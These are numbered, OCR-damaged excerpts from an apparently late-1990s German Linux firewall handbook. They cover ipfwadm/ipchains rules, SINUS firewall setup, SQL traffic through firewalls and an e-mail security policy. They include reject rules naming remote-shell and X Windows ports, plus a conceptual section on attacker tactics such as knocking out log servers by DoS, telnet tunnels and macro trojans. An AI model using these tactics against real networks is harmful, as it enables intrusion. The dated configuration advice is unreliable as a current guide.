230. cle Multi Protocol Interchange MPI and will support SQL Net V2 only Therefore my observation is that 1 There is no satisfactory solution for allowing SQL Net traffic through FW if Oracle is configured as MTS or pre spawned servers No application proxy at present handle this Gary Flynn quoted the White Paper In an application proxy solution the proxy itself handles IP port redirection issues is only a requirement that FW vendors need to work on This product doesn t exist at this moment There is no mention in the White Paper as to what OS and what TCP IP implementation will cause a Dedicated Server to use dynamic port numbers The limitation seems to be applicable to those that do not support IP port sharing My preliminary very preliminary testing using Oracle 7 on HP UX 9 x using SQL Net v1 and Solaris 2 4 using both SQL Net v1 and v2 revealed that a fixed port number on the server is used The client port number is random but is constant for that specific session In such a case it is possible to apply simple filtering rules on screening routers or use such things as plug gw There is no need for setting up a server to server interchange can add that Oracle 7 1 on AIX 3 2 5 and Oracle 7 3 on Solaris 2 5 reveal the same behaviour i e simple filtering rules on screening routers or such things as plug gw from TIS s Firewall Toolkit may be used However Oracle 7 3 on Windows NT does not work this way Hiermit ware im Prin
231. cnt 0 0 ODENY icmp OxFF 0x00 ppp0 localnet 24 anywhere any Setzen der Policy In den vorangehenden Abschnitten wurde die Problematik der Regeln beschrieben deren Anweisungen auf chains zeigen und wie diese chains ohne Sinn durchlaufen werden Siehe auch Kapitel Definition einer Anweisung In diesem Fall bestimmt die policy einer chain das Schicksahl eines Paketes Nur die eingebauten chains input output und forward besitzen policies Wenn ein Paket am Ende einer Userdefinierten chain herausf llt dann werde die Regeln der vorangegengenen chain weiter durchlaufen Die Policy kann eine der vier ersten speziellen Anweisungen sein ACCEPT DENY REJECT oder MASQ MASO ist nur f r die forward chain definiert Erstellt von Doc Gonzo http kickme to plugins Es ist wichtig zu erw hnen da die Anweisung RETURN in einer Regel in einer der eingebauten chains durchaus sinnvoll ist wenn das Paket eine Regel erf llt In diesem Falle werden die Anweisungen der policy ausgef hrt Optionen f r Masquerading Es gibt f r Masquerading einige anwendbare Parameter Sie werden zusammen mit ipchains ausgef hrt weil es nicht notwendig ist hierf r ein neues Toolkit zu benutzen Der Befehl zur Aktivierung von Masquerading ist M der mit der Option L kombiniert werden kann um eventuell gerade maskierte Verbindungen anzuzeigen oder mit S um die Parameter neu zu setzen Die Option L kann mit n kom
232. cp port 3306 Unix socket tmp mysql sock Time Id Command Argument 990819 10 26 48 1 Connect root localhost on 1 Statistics 1 Quit 2 Connect root localhost on 2 In tDB mysql 2 Query delete from db 2 Query delete from host 2 Query delete from user 2 Query delete from func 2 Query INSERT INTO db VALUES CEST Yanan NENNEN 2 Query INSERT INTO db VALUES Erstellt von Doc Gonzo http kickme to plugins test _ Y Y PYE NY YO 2 Query INSERT INTO host VALUES localhost Y W NEYE Y 2 Query INSERT INTO host VALUES tunix Y Y NENNEN 2 Query INSERT INTO user VALUES localhost root AON Grey Cin Ge Ce en One am Gath Gn Ge 2 Query INSERT INTO user VALUES Clocalhost N N N N N N N N N N 2 Query INSERT INTO user VALUES tunix root Y Rh Gen Cin Gre Cu En Ca Ga Gah 2 Query INSERT INTO user VALUES tunix N N s N N N N N N N N 2 Quit 3 Connect root localhost on 3 Reload 3 Quit 990819 10 27 02 4Connect root localhost on 4 Init DB test 4 Query show databases 4 Query show tables 4 Quit mysqld ended on Thu Aug 19 10 27 46 MEST 1999mysqld started on Thu Aug 19 10 2 8 00 MEST 1999 mysqld ended on Thu Aug 19 10 28 06 MEST 1999mysqld started on Thu Aug 19 10 2 8 12 MEST 1999 mysqld started on Thu Aug 26 06 08 44 MEST 1999 mysqld ended on Thu Aug 26 06 59 19 MEST 1999mysqld started on Thu Aug 26 07 0 5 41 MEST 1999 mysqld ended on Thu Au
233. d der Datenschutz gew hrleistet Zusammenh nge zwischen Ereignissen erkennen Es ist wichtig alle m glichen Vorgehensweisen eines Angreifers korrekt einsch tzen zu k nnen Geht man davon aus da ein Angreifer immer irgendwie Programme in das Netzwerk einschleusen und von arglosen Usern starten lassen kann so ergibt sich zwangsl ufig da s mtliche Sicherheitsbarrieren wie Dominosteine Zug um Zug umfallen je l nger ein Angreifer sich im Netzwerk unentdeckt bet tigt Es ist also notwendig wem Angreifer so viele Barrieren wie m glich von Anfang an in den Weg zu legen 1 Pa worte immer nach den Richtlinien des BSI vergeben 2 Niemals unverschl sselte Pa worte ber das Netzwerk bertragen 3 F r jeden Dienst E Mail Fileserver Fernadministration andere Pa worte benutzen 4 Stets mit Keyboard Netzwerksniffern rechnen daraus ergibt sich da man von seinem Arbeitsplatzrechner welcher Internet Anschlu hat keine Firewall administriert oder Server konfiguriert 5 Eine E Mails von unbekannten Personen ffnen oder gar exe Files unbekannter Herkunft starten 6 Stets mit Sicherheitsproblemen des Browsers oder von Anwendungsprogrammen rechnen 7 M glichkeiten schaffen Portscanner o im Netzwerk entdecken zu k nnen 8 Alle unkontrollierbaren Internet Gateways entfernen Pflicht zur Weiterbildung Der Systemadministrator hat die Pflicht sich regelm ig m glichst t glich ber neue Sicherheitspr
234. d nutzt viele PROXY Eigenschaften sowie Filter f r protokollspezifische Befehle HTTP PUT GET POST und die Erkennung f r Angriffssignaturen so bricht die Performance dieser Filter dramatisch ein SPF s eignen sich aufgrund ihres Designs hervorragend eine Programmiersprache Erstellt von Doc Gonzo http kickme to plugins hinzuzuf gen die somit nicht implementierte PROXY Mechanismen f r neue Protokolle simulieren kann Da auch kombinierte Protokolle aus TCP und UDP NFS NIS RPC hiermit kontrolliert werden k nnen entsteht so schnell der Eindruck von Sicherheit wo effektiv keine ist Beispiel aus dem Handbuch von Checkpoint Instructions for adding Sybase SQL server support to FireWall 1 Sybase SQL uses TCP ports above 1024 The port used is defined in the configuration of the Sybase server To configure FireWall 1 for use with Sybase SQL 1 From the GUI add a TCP service called Sybase SQL Server Define this port as using the port defined in the SQL serverconfiguration 2 Accept this service in the Rulebase Instructions for adding Microsoft NetMeeting support to FireWall 1 Add TCP port 1503 in GUI Es gibt keine Anzeichen bei der Installation eines SQL Dienstes bei der Firewall 1 daB diese Firewall irgendwelche Kenntnisse dar ber hat was sie sch tzen soll und wie sie es sch tzen kann Wer also beispielsweise einen SQL Server sicher betreiben will der sollte sich den Original SQL Proxy von ORACLE einma
235. da der Angreifer in Kenntnis der internen IP Nummer kam um den Angriff besser vorbereiten zu k nnen Ohne SQUID also nur als Router mit Masquerading installiert ergeben sich geringf gig andere Informationen die der Angreifer nutzen kann HTTP_USER_AGENT Mozilla 4 0 compatible MSIE 4 0 Windows 95 HTTP_ACCEPT image gif image x xbitmap image jpeg image pjpeg application v nd ms excel application msword application vnd ms powerpoint Ohne SQUID kommt der Angreifer in Besitz von Informationen ber viele Anwendungsprogramme welche auf der Arbeitsstation installiert sind Powerpoint Excel und Winword sind Programme die VBasic als Programmiersprache nutzen mit allen M glichkeiten die ein VC Programm auch besitzt Man k nnte also ein Programm Netzwerkscanner Keyboard Sniffer in ein Makro einbauen und dem arglosen Mitarbeiter als WinWord Excel Powerpoint Datei senden Diese Angriffe sind noch nicht beschrieben worden kommt noch Die Tatsache da MSIE 4 0 und Windows 95 eingesetzt wird erleichtert die Suche nach funktionierenden exploits Analyse eines TIS FWTK und Firewall 1 Die Informationen REMOTE_HOST 195 99 32 6 HTTP_USER_AGENT Mozilla 4 0 compatible MSIE 4 0 Windows 95 HTTP_ACCEPT image gif image x xbitmap image jpeg image pjpeg application vnd ms excel application msword application vnd ms powerpoint Fur einen Angriff sind die Informationen etwas mager daher lassen w
236. de Angelegenheit Wie schwierig dies ist und wieviele Fehler m glich sind mag ein Beispiel zeigen Seit Jahren lieferte CHECKPOINT Firewalls aus viele dieser Installationen wurden von unabh ngigen Experten berpr ft und f r sicher befunden Niemand hatte ber Jahre hinweg auch nur daran gedacht neben den TCP IP Ports auch das SMNP Protokoll zu berpr fen Hacker konnten so ber Jahre hinweg bei einigen Installationen s mtliche Statistiken z B der Mail Ubertragungen ber die Firewall hinweg einsehen Die Mail Adressen s mtlicher Kunden war dort aufgelistet Auch die sogenannte Zertifizierungsstellen hatten diesen Test nicht durchgef hrt Bekannt wurde dieser Fehler erst ber die BUGTRAQ Liste woraufhin Checkpoint auch schnell reagierte und die Standardeinstellung f r SMNP des externen Interfaces auf AUS stellte Andere Firewall Installationen wurden f r sicher befunden obwohl viele der Angriffe via E Mail ber die Arbeitsstationen und die Makrofunktionen ausgef hrt wurden Siehe MELISSA Es d rfte jedem klar sein da eine Firewall niemals Schutz bietet sondern nur ALARM MELDUNGEN an den Systemadministrator weitergeben kann Diese richten sich nach der Security Policy f r das Netzwerk und die User Damit dieser Mechanismus auch korrekt arbeiten kann m ssen zuerst alle Ports berpr ft werden Hierzu werden alle Zielports von 0 65535 der Reihe nach gescannt Viele Firewalls haben jedoch einen Scanner Detektor und schie
237. de zwischen ipchains und ipfwadm und den Abschnitt Wie man den ipfwadm wrapper einsetzt empfohlen 12 1 Was ist ipchains Linux 2 2 ipchains ist eine komplette Neuentwicklung des Linux IPv4 Firewall Codes der haupts chlich auf den Quellen von BSD 4 4 mit all seinen herausragenden Eigenschaften beruht Es ist eine Portierung des ipfw Toolkits welches aus der Feder von Darren Reed stammt der auch an den Portierungen auf Solaris 2 5 2 6 2 7 und den BSD Derivaten NetBSD OpenBSD und FreeBSD mitgewirkt hat 12 2 Verbesserungen in Linux 2 2 Der ltere Linux Firewall Code besa einige Einschr nkungen wie z B 32 Bit Counter f r die TCP IP Sequenznummern die insbesondere bei HiSpeed Netzwerken schnell zu einen wrap around f hrten Dies erm glichte einige neue Arten des session hijacking Desweiteren konnte der ltere Linux Kernel nicht andere Protokolle wie IPX oder SPX handeln Es fehlten dar ber hinaus inverse Filterregeln und Eigenschaften wie port redirection Das komplette Design der Filterregeln wurde von der un bersichtlichen Vermischung von Regeln f r IP Adressen und Regeln f r Ports zu einem Design mit Ketten chains von Filterregeln hin ver ndert Die Chains verfolgen eine g nzlich andere Architektur soda es zwar m glich ist die Regeln von ipfwadm fast 1 1 zu bersetzen z B mit ipfwad2ipcheins man aber das Design berdenken sollte insbesondere hinsichtlich der Wartbarkeit Die Managebarkeit der Firewall Rege
238. dem WWW Server eine weit entfernte Datenbank abfragen und die Ergebnisse ber den Browser an die Arbeitsstation bergeben Damit die Security Policy berwacht werden kann mu also im Server aus den Logfiles ersichtlich sein da Arbeitsstation X ber Port 80 WWW und ein CGI BIN eine Abfrage des SQL Servers get tigt hat Erstellt von Doc Gonzo http kickme to plugins e Es gibt Anwendungen die keinen bestimmten Port zur Kommunikation untereinander verwenden Hierzu geh ren die NT PDC s und BDC s die ber ein wildes Gemisch von TCP und UDP Protokollen auch RPC Remote Procedure Protocols miteinander kommunizieren Hierzu findet zuerst eine Verbindung auf Port 111 Portmapper statt die mit einer Firewall noch zu berwachen ist danach hat die Firewall oder der Router keine M glichkeit mehr die Verbindungen der PDC s und BDC s zu erkennen Damit die Kommunikation ber eine Firewall oder einen Router in einem gro en Netzwerk jedoch noch funktioniert m ssen alle UDP und TCP Ports oberhalb von 1024 freigeschaltet werden Aber auch BACKOFFICE und SMS benutzen wild irgendwelche Ports und Protokolle e Durch diese Freischaltung k nnen andere Ports zwischen Clients untereinander und Serverdiensten oberhalb 1024 z B SQL nicht mehr gesperrt werden Eine Kontrolle in der Firewall ist zwar m glich jedoch benutzen z B auch PDC s eventuell einmal TCP Port 1521 e Damit keine Mi verst ndnisse bez glich benutzter Por
239. dem noch eine zweite Verbindung von sich aus in das Internet zu einer vom Angreifer zu bestimmenden IP Nummer Hier erwartet der NT Server eine Antwort von au en ber die Firewall zur ck welche die Firewall auch passieren l t da ja ein Verbindungswunsch von innen vorliegt Und schon hat ein Angreifer direkten Zugriff auf den NT Server Zugegeben dieser Angriff ist kompliziert und nur von wenigen Personen durchf hrbar aber er funktioniert und zwar direkt ber die Firewall hinweg Zahlreiche Beispiele der TCP IP Stack Angriffe auf NT Server die in BUGTRAQ ver ffentlicht wurden funktionieren nachweislich auch durch diese Firewalls hindurch Angesichts stark gestiegener CPU und Memory Bandbreiten sollten Firewalls mit eigenem TCP IP Stack und PROXY Diensten stets bevorzugt werden Man sollte sich daher immer gut berlegen ob man eine Firewall einsetzt die standardm ig den TCP IP Stack eines Betriebssystems nutzt z B Microsoft PROXY Server 2 0 WINGATE WINPROXY CONSEAL oder nach dem SPF Design arbeitet Ein dummes Problem bei Firewalls ist da man nicht genau wei ob die Firewall Teile des IP Stacks des Betriebssystems mitbenutzt oder ob die Firewall sogar ihren eigenen IP Stack implementiert Bei dem Maktf hrer Firewall 1 3 0 und 4 0 von Checkpoint ist das Problem da die Zahl der Eintr ge in den connection table begrenzt ist und die Firewall 1 den Timeout auf 1 Stunde gesetzt hat Die Firewall 1 kann dann k
240. den entsprechenden RFC s Darin ist genau beschrieben welche Ports und Protokolle in welcher Reihenfolge ge ffnet und geschlossen werden k nnen und welche Timeouts hier eine Rolle spielen Danach erfolgt die Programmierung der Firewall Hier sollte man alle DEBUG Optionen aktiviert haben d h stets sollte man von message Gebrauch machen um aussagef hige Log Eintr ge zu erhalten Nun kann eine Testverbindung zu einem Netmeeting Server im Internet aufgebaut werden Das wunderbare an Microsoft ist es da die Leute sich fast nie an ihre Erstellt von Doc Gonzo http kickme to plugins eigenen Dokumentationen und Standards halten Daher ist es unabdingbar die Meldungen der Firewall genau zu studieren und den Fehler im Mechanismus der Firewall zu korrigieren Die deduktive Methode der Programmierung Die deduktive Methode unterscheidet sich nur ein wenig von der induktiven Man arbeitet einfach ohne alle RFC s und Dokumentationen und schert sich einen Dreck um Microsofts Unzul nglichkeiten Hierzu schaltet man in der Firewall alle TCP und UDP Ports auf Durchgang und loggt mit In den LOG Eintr gen sieht man dann sch n sauber wie der Mechanismus funktioniert Diese Dokumentationen nimmt man dann als Vorlage f r die Implementierung der Regeln in der SINUS Firewall 1 Da bei Microsoft typischerweise verschiedene Service Packs auch Ver nderungen bei Anwendungssoftware enthalten kann es also passieren da die Firewallregeln von Zeit z
241. den k nnen DNS lookup und ein Abgleich mit einem reverse lookup auch double reverse lookup genannt ist ein unverzichtbares Mittel festzustellen ob eine IP Adresse in einem Netzwerkbereichs des Internet offiziell eingetragen ist oder nicht Wenn dieser Vergleich negativ ist dann wird automatisch eine Warnung generiert Typisch f r eine solche Warnung sind haupts chlich Konfigurationsprobleme Nur wenn in Verbindung mit einer solchen Warnung z B auch der Einsatz eines Portscanners aufgezeichnet wird dann erst ist es notwendig aktiv zu werden Im folgenden soll die Firewall selber aktiv herausfinden von welchem User der Angriff stammen k nnte Viele der Untersuchungen von spy liefern k nnen falsche oder bewu t gef lschte Meldungen liefern Dies sollte stets ber cksichtigt werden bevor besondere Ma nahmen ergriffen werden Diese Tatsache sollte man stets im Hinterkopf behalten identd ist ein Dienst der versucht dem registrierten TCP Paket einen User auf dem Host zuzuordnen bei anderen Paketen ist dieser Dienst nicht einsetzbar Wenn alle wie erhofft funktioniert dann steht im Logfile der Name desjenigen Users auf dem Host der die Verbindung initiiert hat Diese Eintr ge sollte man f r sp tere Auswertungen aufbewahren Fehlermeldungen wie no such user oder connection refused sind Anzeichen daf r da die Funtionen deaktiviert wurden finger ist der Versuch einem fremden UNIX Host die momentan eingeloggten User zu entlocke
242. der NT ist egal NAT oder Masquerading spielt bei Angriffen keine Rolle Auf einer Firewall darf nur der Firewall Dienst gestartet sein Fernadministration bei Firewalls birgt gro e Risiken Eine einstufige Firewall kann einfach berwunden werden mindestens 3 Stufen sind erforderlich Sie Buch Einrichten von Internet Firewalls damit die Firewall von innen nicht so einfach gepierct werden kann Siehe auch PHRACK Magazin e Ein ISDN Firewallrouter oder auch eine zus tzliche hochwertige Firewall h tte den Angriff nicht verhindern k nnen da von dem LINUX Server aus der Angreifer statt ipfwadm If einfach einen Telnet Tunnel von einem Internet Server auf Port 23 des LINUX Servers aufgebaut h tte FTP PORT 23 Trick e Ein professioneller Angreifer plant seine Angriffe sorgf ltig um nicht entdeckt zu werden Er wird niemals irgendwelche Spuren hinterlassen im Gegensatz zu den vielen Despoten die sich im Internet tummeln e Ein Angriff ben tigt nur wenige Sekunden oft zuwenig um zu bemerken da der Logserver angehalten wurde e Genaue Kenntnisse ber DoS Angriffe sind enorm wichtig um z B einen Logserver schnell abschie en zu k nnen e Niemals einen Angreifer untersch tzen Was ein Systemadministrator noch nicht einmal erahnen kann ist f r einen Profi Routine 23 7 Angriffe auf Application Level Trojanische Pferde sind ein unerl liches Hilfsmittel f r gezielte Angriffe auf Unternehmen Sie werden von
243. der Proxy manipulierbar dahingehend da eventuell die Firewall auch f r andere Protokolle transparent wird e Wieviel Speicher verbraucht der Proxy in Abh ngigkeit der Zahl der Video Datenstr me Ist ein DoS m glich e Wie f ngt der Proxy Spoofing Angriffe ab Wird ein double reverse lookup durchgef hrt Wird der IDENTD mit aktiviert Welche Informationen k nnte dieser liefern Kann man den Proxy mit einem TCP Wrapper betreiben Kann der PROXY in einer CHROOT Umgebung gestartet werden Was passiert wenn der das Format der Videodaten pl tzlich ver ndert wird Kann sich der Eingangspuffer dynamisch anpassen oder ist ein buffer overflow m glich e K nnen Funktionen wie strcpy mit unzul ssigen Werten aufgerufen werden altes strcpy Pointer Problem e Ist die Library gefixt i e Gibt es Parameter die bei bergabe an den PROXY diesen Killen DoS e Wieviele gleichzeitige Video Datenstr me vertr gt der PROXY Wer sich intensiver mit dieser Materie auseinandersetzt wird beim Lesen dieses Artikels ber sicheres Programmieren unter UNIX siehe http www whitefang com sup secure faq html da viele Programme unter LINUX weit davon entfernt sind sicher zu sein F r C Spezialisten hier nun der vollst ndige Quellcode der bevor er auf einer Firewall eingesetzt werden kann nach obigen Punkten abgesucht werden sollte Wie schwer Erstellt von Doc Gonzo http kickme to plugins dieses ist da
244. der inneren Netzwerkkarte senden Soweit verst ndlich Der Firewall wurde erlaubt an dem Interface LOKALES_INTERFACE Pakete anzunehmen die f r das Internet bestimmt sind Soweit auch verst ndlich Nun wird zugelassen da die Firewall diese angenommenen Pakete aus dem Intranet an das u ere Interface EXTERNES_INTERFACE sendet Die Syntax lautet Erlaube eingehende und ausgehende Pakete mit dem Ziel EXTERNES_INTERFACE und das f r Pakete die aus dem Intranet kommen Die Firewall durfte stets Pakete aus dem Intranet annehmen nun ist es der Firewall erlaubt diese Pakete an die u ere Netzwerkkarte zu senden Wie verhalten sich die D monen Diese hatten sich ja an alle Netzwerkkarten gebunden I Sie sehen die Pakete vorbei huschen f hlen sich aber nicht angesprochen da die Zieladresse im Kopf des Paketes von dem Host aus dem Intranet ja f r das Internet bestimmt ist und nicht f r den D mon selber Also kein echtes Problem Welche Auswirkungen hat dies auf das forwarding Forwarding von Paketen von LOKALES_INTERFACE an EXTERNES_INTERFACE ipfwadm F a W EXTERNES_INTERFACE S INTRANET Erstellt von Doc Gonzo http kickme to plugins Es wird der Firewall erlaubt Pakete mit Quelladresse INTRANET S an das Interface EXTERNES_INTERFACE also dem u eren Interface weiterzuleiten Oops etwas verwirrend Schauen wir uns die Regeln noch einmal in der Zusammenfassung an Default Policy 1 ipfwadm I p deny 2 i
245. die z B Zugriffe auf den Server protokolliert und entsprechend der Uhrzeit auch einzelnen Usern den Zugriff verbieten kann Da aber ein Angreifer auch tags ber angreifen kann ist dieses Werkzeug nicht als Sicherung geeignet Beschreiben wir also eine Standard Installation von Solaris 2 6 mit Firewall 1st mit Netscpe SuitSpot 3 5 und SUN Netra l einem Administrationswerkzeug bestehend aus einer Sammlung von CGl Skripten Eingesetzt werden soll dieser Server in Verbindung mit einem CISCO Router zur Anbindung an das Internet als PROXY Cache als WWW Server nach au en und als Intranet Server nach innen Abgesichert ist dieser durch Firewall 1st installiert auf dem bastion host selber Als weitere Software wird Netscape SUITSPOT Pro einer Sammlung von WWW Server Mailserver NEWS Server Kalender Server Netscape Cache Server installiert erreichbar von innen und au en Der Netscape Enterprise Server basierend auf dem Code von Apache Server und der Netscape Proxy ist identisch mit dem SQUID PROXY Cache Uber Netra lassen sich diese D monen weniger komfortabel konfigurieren Netra besteht aus einfachen CSH CGl Skripten ohne jedwelche Absicherung die unter UNIX entsprechend der Bedeutung geboten w re chroot UserAccount Es sind ohne weiteres buffer overflows ausf hrbar Angesichts der bekannten buffer overflows f r den Apache Server und der L cken in SQUID ist dies ein gravierendes Sicherheitsproblem Solaris 2 6 ist per de
246. die L sung klar Sind Firewalls gegen buffer overflows gesichert Man kann davon ausgehen da die Firewall Programme weil sie relativ klein sind gut gesichert werden k nnen Ein Angriff auf das u ere oder innere Interface ist so einfach nicht m glich da sich keine Angriffspunkte ergeben wo ein buffer overflow ansetzten k nnte F r eine Authentifizierung aber m ssen Pa worte bergeben werden hier ist ein buffer overflow m glich Problematisch wird es wenn eine Firewall auf einem Betriebssystem aufsetzt welches zudem noch andere Funktionen erf llen soll z B als E Mail Gateway WWW Proxy u s w Diese Konfigurationen finden sich in vielen Unternehmen wo billige PROXY Software auf NT oder UNIX Servern aufgesetzt wird Oftmals ist in diese Server eine ISDN Karte integriert um zus tzlich Hardware einzusparen Da diese Server gleichzeitig noch als SQL oder FIBU Datenbanken arbeiten k nnen ergeben sich einige sehr bedenkliche Sicherheitsl cher Da es auch keine weiteren Kontrollm glichkeiten gibt bleibt ein Angriff immer unbemerkt Betrachten wir einige Installationen Erstellt von Doc Gonzo http kickme to plugins SUN SOLARIS und SUN Firewall 1st Checkpoint Firewall 1 SUN Solaris 2 6 kann man als relativ stabiles aber keinesfalls als sicheres Betriebssystem bezeichnen Die Firewall ist ein bew hrtes Produkt und installiert sich zwischen Kernel und Anwendungsprogramme Mitgeliefert ist HAYSTACK Software
247. dig sein tar oder gzip nachzuinstallieren Es erscheint ein Verzeichnis sifi 1 0 Hier befinden sich die Quellcodes Mit cd sifi 1 0 befindet sich man nun im korrekten Verzeichnis Es m ssen evtl einige Anpassung in folgenden Files vorgenommen werden include sf_config h define SF_TRUSTED_CNT_MAX 20 Hier werden die TRUSTED Hosts begrenzt define SF_FRIENDS_CNT_MAX 50 Hier werden die FRIENDS Hosts begrenzt define SF_VAR_CNT_MAX 200 Begrenzung der Zahl der Variablen include sf_global h define SFLADDRESS_CNT_MAX 340 Hier werden die Zahl der Clients begrenzt define NUM_PROC_ENTRIES 21 Hier wird die Zahl der PROC Eintr ge bestimmt define SF_TCP_HASH_SIZE 499 F r viele Verbindungen mu die Zahl hochgesetzt werden Es mu immer ca Faktor 2 gr er sein als die Zahl der Verbindungen Damit der HASH Mechanismus funktioniert mu immer eine Primzahl gew hlt werden include sf_custom h in define CONF_DIR etc firewall d Pfad der Konfigurationsfiles define LOG_DIR var log Pfad der Logfiles define RUN_DIR var run Pfad der PID und PIPES Erstellt von Doc Gonzo http kickme to plugins define LOG LOG_DIR firewall File fiir Logfiles define SPY_LOG LOG_DIR firewall spy SPY Logfiles define REPORT LOG_DIR firewall report Firewall Report define LOG_WIDTH 132 Breite der Logeintr ge define PID_FILE RUN_DIR firewall pid ProzessID define IPIPE RUN_DIR firewall in Pipe f r Lesen define OPIPE RUN_DIR f
248. dt werden Hierzu mu es mit speichern als unter Neuangabe des Formates zuerst auf die Festplatte gespeichert werden Falls Dokumente Powerpoint Excel oder andere versandt werden m ssen so sind diese zuvor entweder in HTML oder TXT Dateien zu konvertieren Nur in Ausnahmef llen sollten diese Dokumente im Originalformat versandt werden Punkt 1 2 bleiben hiervon unber hrt 4 Nur von der Gesch ftsf hrung schriftlich authorisierte Personen oder die Gesch ftsf hrung selber d rfen Dokumente mit Anh ngen direkt per E Mail versenden Um dies zu erm glichen ist vom Systemadministrator die Software zu installiere n ein Schl ssel zu generieren und ein Pa wort festzulegen Der Schl sselnehmer also die authorisierte Person mu das Pa wort bei der Generierung des Schl ssels pers nlich eingeben Der Systemadministrator darf dieses Pa wort nicht erfahren Bei der Vergabe des Pa wortes sind folgende Bedingungen zu beachten Es mu aus einer willk rlich gew hlten Buchstaben Zahlenkombination aus Gro und Kleinschrift bestehen und mindestens 8 Buchstaben lang sein Die f r das Verschl sselungssystem ben tigten Schl ssel sind entsprechend einer speziellen Vorschrift aufzubewahren Die Festplatte ist anschie end zu defragmentieren 5 Ausgehende E Mails die eindeutig pers nlicher Natur sind sind als solche mit einem verabredeten Zeichen zu kennzeichnen Diese d rfen eine vereinbarte L nge nicht berschreiten und keine A
249. e 12 Der Mi brauch von anderen Programmen telnet f r die Versendung von E Mails ist verboten File Transfer e Die Verwendung eines FTP Clients ist nur Personen gestattet die ausdr cklich und offiziell mit der Betreuung des WWW Servers beauftragt sind Gemeinschaftsverzeichnisse e Um Daten mit anderen Usern auszutauschen ist der Weg ber E Mail zu w hlen falls nicht Verzeichnisse zur Verf gung stehen zu denen nur und ausschlie lich die beiden betroffenen User Zugriff haben 28 4 Verfahren zur Sicherung von Servern Um einen Server nachweislich gegen u ere Angriffe bekannter und unbekannter Art abzusichern ist es notwendig den Server mit denjenigen Mitteln zu testen wie auch ein professioneller Angreifer einen exakten Nachbau eines Systems mit aller dazugeh rigen Hard und Software unter der exakten Einhaltung der Versions und Patchlevel testen w rde Es ist davon auszugehen da Angreifer stets in der Lage sind sich diese Daten und Informationen zu beschaffen Erst nach dieser Prozedur kann der Systembetreiber sicher sein da der Server nicht mehr angreifbar ist weder durch die Firewall auf application level hindurch noch auf andere Art von au erhalb Wer eine SQL Datenbank sichern m chte der mu ber diese Tips hinaus noch einige weitere Sicherheitsl cken bedenken Hinweise finden sich im Kapitel Sicherung von SQL Datenbanken Zur Sicherung von Servern geh rt ebenso die Installation und die Aktivierun
250. e Erstellt von Doc Gonzo http kickme to plugins ipfwadm O a reject P tcp W EXTERNES_INTERFACE S IPADDR D ANYWHERE 0 87 111 512 513 514 515 540 ipfwadm O a reject P tcp W EXTERNES_INTERFACE S IPADDR 0 87 111 512 513 514 515 540 D ANYWHERE Kein Openwindows ipfwadm O a reject P tcp y W EXTERNES_INTERFACE S IPADDR D ANYWHERE VERBOTEN_OPENWINDOWS Kein X Windows ipfwadm O a reject P tcp y W EXTERNES_INTERFACE S IPADDR D ANYWHERE VERBOTEN_XWINDOWS SOCKS ist erlaubt hierzu mu SOCKS installiert sein ipfwadm O a reject P tcp y W EXTERNES_INTERFACE S IPADDR D ANYWHERE 1080 Kein dhcp tftp sunrpc snmp snmp trap ins Internet ipfwadm O a reject P udp W EXTERNES_INTERFACE S IPADDR D ANYWHERE 0 68 69 111 161 162 Kein biff Mail ins Internet ipfwadm O a reject P udp W EXTERNES_INTERFACE S IPADDR D ANYWHERE 512 513 514 520 521 Kein dhcp tftp sunrpc snmp snmp trap ipfwadm O a reject P udp W SEXTERNES_INTERFACE S IPADDR 0 67 69 111 161 162 D ANYWHERE Kein biff ipfwadm O a reject P udp W EXTERNES_INTERFACE S IPADDR D ANYWHERE 512 513 514 520 521 Zugriff fiir alle Intranet Hosts ipfwadm I a accept W LOKALES_INTERFACE S INTRANET ipfwadm O a accept W LOKALES_INTERFACE D INTRANET Loopback fiir die Damonen ipfwadm I a accept W LOOPBACK_INTERFACE ipfwadm O a accept W LOOPBACK_INT
251. e Alle ein und ausgehenden Pakete durchlaufen das Filtermodul und m ssen stets getrennte Regels tze f r die angeschlossenen Netzwerkinterfaces passieren was insbesondere f r die Erkennung von adress spoofing notwendig ist Ist die Firewall als bastion host konfiguriert so wird jedes Paket zuerst gefiltert bevor es in der Firewall selber Schaden anrichten kann Die Pakete werden anhand der statischen und dynamischen Filterregeln berpr ft und je nach Resultat weitergeleitet stillschweigend vernichtet oder unter Aussendung einer beliebig w hlbaren ICMP Meldung destination unreachable zur ckgewiesen Falls der notification level nicht NULL ist wird zus tzlich eine Meldung an den Firewall D mon gesendet der dann weitere Aktionen ausf hren kann Das Kernel Modul wird w hrend dieser Ausf hrung nicht blockiert und kann sich bereits wieder einem weiteren Paket widmen 14 15 Sicherheit oder Verf gbarkeit Entsprechend dem Stellenwert der Sicherheit ber die Verf gbarkeit wurde das System so ausgelegt da es stets failsafe ist Wenn der Firewall D mon abst rzen sollte was theoretisch im Rahmen des M glichen liegt jedoch noch nie passiert ist dann werden alle Interfaces komplett gesperrt Es ist dann weder eingehender noch ausgehender Verkehr m glich da bei geschlossenem firewall device alle Pakete per default vernichtet werden Die Firewall mu dann von der Konsole aus reaktiviert werden Diese Ma nahme
252. e etc passwd sollte sich dann folgender Eintrag befinden firewall x 888 888 dev null bin false In der Datei etc group sollte folgende Gruppe angelegt werden firewall x 888 Anpassung des Linux Kernels Der aktuelle Kernel mu folgende Optionen zumindest aktiviert haben F r genaue Erkl rungen welche Optionen im Kernel was bewirken siehe Kapitel ref id kerneloptionen gt Erstellt von Doc Gonzo http kickme to plugins Loadable module support Networks firewall support IP Routing IP Accouting IP Forwarding IP Firewalling Always defragment optimize as router not host Hier zu wechselt man in das Verzeichnis usr sre linux und startet das Konfigurationsprogramm mit make menuconfig Falls der Kernel sich in einem anderen Verzeichnis befinden sollte mu auch die Datei make options im Verzeichnis sf 1 0 angepa t werden Nach der Konfiguration des Kernels mu dieser kompiliert werden make clean make dep make zlmage Nach ein paar Minuten ist der Kernel fertig kompiliert Mit cp usr sre linux arch i386 boot zImage boot vmlinuz wird der gerade aktuell Kernel berschrieben Damit der Bootmanager auch den neuen Kernel erkennt gen gt die Eingabe von lilo Beim n chsten Bootvorgang ist der neue Kernel aktiv Nun kann die Firewall kompiliert und installiert werden configure make dep make make install Es werden die Files sfc sfident und sf o generiert make install erzeugt das eigendliche Firewall Device
